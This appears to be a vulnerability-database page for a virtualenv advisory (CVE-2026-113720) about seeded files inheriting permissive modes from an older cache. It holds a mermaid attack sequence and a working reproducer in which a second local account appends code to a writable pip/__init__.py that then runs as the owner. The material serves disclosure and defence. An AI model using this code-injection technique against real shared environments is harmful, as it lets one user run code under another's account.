Vulnerability-Lookup

GHSA-FC2G-4W5P-6WHM

Vulnerability from github – Published: 2026-10-23 22:23 – Updated: 2026-10-23 22:23

Summary

virtualenv: Seeded files retain permissions from an older cache

Details

Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permissions of files copied from app-data into a new environment.

Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.

Affected code

The relevant 21.14.8 source is in copy helpers.

Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.

Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used umask 022; a later environment had no files writable by another account, and that account could not append to pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates app-data copy seeding to #1578, first released in 20.0.2. PR #3425 creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant C as Private app-data cache
    participant E as Later environment
    participant A as Other local account
    U->>C: first seed extraction under umask 000
    C-->>U: cached pip files have mode 0666
    U->>E: create environment under umask 022
    C->>E: shutil.copy reapplies mode 0666
    A->>E: append code to pip/__init__.py
    U->>E: run bin/pip --version
    E-->>U: appended code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes
os.umask(0o022)  # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"]  # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()


def run_as_owner(command, home, umask):
    environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)


def mode(path):
    return stat.filemode(os.stat(path).st_mode)


work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777)  # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
    # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
    home = work / f"{case}-home"
    home.mkdir(mode=0o700)
    os.chown(home, OWNER, OWNER)
    projects = work / f"{case}-projects"
    projects.mkdir(mode=0o755)
    os.chown(projects, OWNER, OWNER)

    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
    run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
    # owner, today
    env = projects / "env"
    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

    (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
    (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
    env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
    print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
    print(f"{case}   cache pip/__init__.py  {mode(cached_pip)}")
    print(f"{case}   env   pyvenv.cfg       {mode(env / 'pyvenv.cfg')}")
    print(f"{case}   env   bin/activate     {mode(env / 'bin' / 'activate')}")
    print(f"{case}   env   pip/__init__.py  {mode(seeded_pip)}")
    print(f"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}")

    # attack: another local user appends a line to the owner's seeded pip
    proof = proofs / case
    subprocess.run(
        ["python3", "-", str(env), str(proof)],
        input=ATTACK,
        text=True,
        user=OTHER_USER,
        group=OTHER_USER,
        extra_groups=[],
        env={"PATH": os.environ["PATH"]},
        cwd="/",
        check=True,
    )

    # the owner uses the environment
    run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
    print(f"{case}   other user's line ran as uid: {appended_line_ran_as[case]}")

# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")

repro.d/other_user_appends_to_pip.py

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.

Affected release

[x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Severity

4.4 (Medium)


                  
                    CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:23:11Z",
    "nvd_published_at": "2026-10-20T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run\u0027s umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner\u0027s first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner\u0027s earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant U as Environment owner\n    participant C as Private app-data cache\n    participant E as Later environment\n    participant A as Other local account\n    U-\u003e\u003eC: first seed extraction under umask 000\n    C--\u003e\u003eU: cached pip files have mode 0666\n    U-\u003e\u003eE: create environment under umask 022\n    C-\u003e\u003eE: shutil.copy reapplies mode 0666\n    A-\u003e\u003eE: append code to pip/__init__.py\n    U-\u003e\u003eE: run bin/pip --version\n    E--\u003e\u003eU: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True)  # keep these lines in order with those of the child processes\nos.umask(0o022)  # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534  # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"]  # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n    environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n    subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n    return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777)  # the other user\u0027s line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner\u0027s earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n    # set up: the owner\u0027s home, and with it the cache, is private; the project folder is reachable by path\n    home = work / f\"{case}-home\"\n    home.mkdir(mode=0o700)\n    os.chown(home, OWNER, OWNER)\n    projects = work / f\"{case}-projects\"\n    projects.mkdir(mode=0o755)\n    os.chown(projects, OWNER, OWNER)\n\n    # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n    run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n    # owner, today\n    env = projects / \"env\"\n    run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n    (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n    (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n    env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n    writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode \u0026 stat.S_IWOTH)\n    print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n    print(f\"{case}   cache pip/__init__.py  {mode(cached_pip)}\")\n    print(f\"{case}   env   pyvenv.cfg       {mode(env / \u0027pyvenv.cfg\u0027)}\")\n    print(f\"{case}   env   bin/activate     {mode(env / \u0027bin\u0027 / \u0027activate\u0027)}\")\n    print(f\"{case}   env   pip/__init__.py  {mode(seeded_pip)}\")\n    print(f\"{case}   env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n    # attack: another local user appends a line to the owner\u0027s seeded pip\n    proof = proofs / case\n    subprocess.run(\n        [\"python3\", \"-\", str(env), str(proof)],\n        input=ATTACK,\n        text=True,\n        user=OTHER_USER,\n        group=OTHER_USER,\n        extra_groups=[],\n        env={\"PATH\": os.environ[\"PATH\"]},\n        cwd=\"/\",\n        check=True,\n    )\n\n    # the owner uses the environment\n    run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n    appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n    print(f\"{case}   other user\u0027s line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] \u003e 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, \u0027w\u0027).write(str(os.getuid()))\\n\"\n\ntry:\n    with open(pip_init, \"a\") as pip_source:\n        pip_source.write(added_line)\n    print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n    print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination\u0027s parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-487MH6OW.",
  "id": "GHSA-fc2g-4w5p-6whm",
  "modified": "2026-10-23T22:23:11Z",
  "published": "2026-10-23T22:23:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113720"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3425"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "virtualenv: Seeded files retain permissions from an older cache"
}

CVE-2026-113720 (GCVE-0-2026-113720)

Vulnerability from cvelistv5 – Published: 2026-10-20 19:43 – Updated: 2026-10-21 15:52

Title

virtualenv: Seeded files retain permissions from an older cache

Summary

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the app-data copy seeder uses shutil.copy() to copy cached package files into later environments, causing cached source modes to override the current run's umask. A cache populated under a permissive umask can therefore produce files writable by another local account in a later traversable environment, allowing package code such as pip/__init__.py to be modified and executed by the environment owner. The attacker cannot force the earlier umask, and a private destination parent prevents access. This issue is fixed in version 21.14.9.

Severity

4.4 (Medium)


                        
                          CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-21 14:24 UTC

CWE

CWE-732 - Incorrect Permission Assignment for Critical Resource

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7761 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/pypa/virtualenv/security/advis…	x_refsource_CONFIRM
https://github.com/pypa/virtualenv/pull/3425	x_refsource_MISC
https://github.com/pypa/virtualenv/commit/35f0b33…	x_refsource_MISC
https://github.com/pypa/virtualenv/releases/tag/21.14.9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pypa	virtualenv	Affected: < 21.14.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-113720",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-21T14:24:43.461629Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-21T15:52:33.658Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "virtualenv",
          "vendor": "pypa",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 21.14.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the app-data copy seeder uses shutil.copy() to copy cached package files into later environments, causing cached source modes to override the current run\u0027s umask. A cache populated under a permissive umask can therefore produce files writable by another local account in a later traversable environment, allowing package code such as pip/__init__.py to be modified and executed by the environment owner. The attacker cannot force the earlier umask, and a private destination parent prevents access. This issue is fixed in version 21.14.9."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "HIGH",
            "attackRequirements": "PRESENT",
            "attackVector": "LOCAL",
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-732",
              "description": "CWE-732: Incorrect Permission Assignment for Critical Resource",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T19:43:32.451Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"
        },
        {
          "name": "https://github.com/pypa/virtualenv/pull/3425",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/pull/3425"
        },
        {
          "name": "https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"
        },
        {
          "name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "source": {
        "advisory": "GHSA-fc2g-4w5p-6whm",
        "discovery": "UNKNOWN"
      },
      "title": "virtualenv: Seeded files retain permissions from an older cache"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-113720",
    "datePublished": "2026-10-20T19:43:32.451Z",
    "dateReserved": "2026-10-20T16:03:14.863Z",
    "dateUpdated": "2026-10-21T15:52:33.658Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-FC2G-4W5P-6WHM

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

CVE-2026-113720 (GCVE-0-2026-113720)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour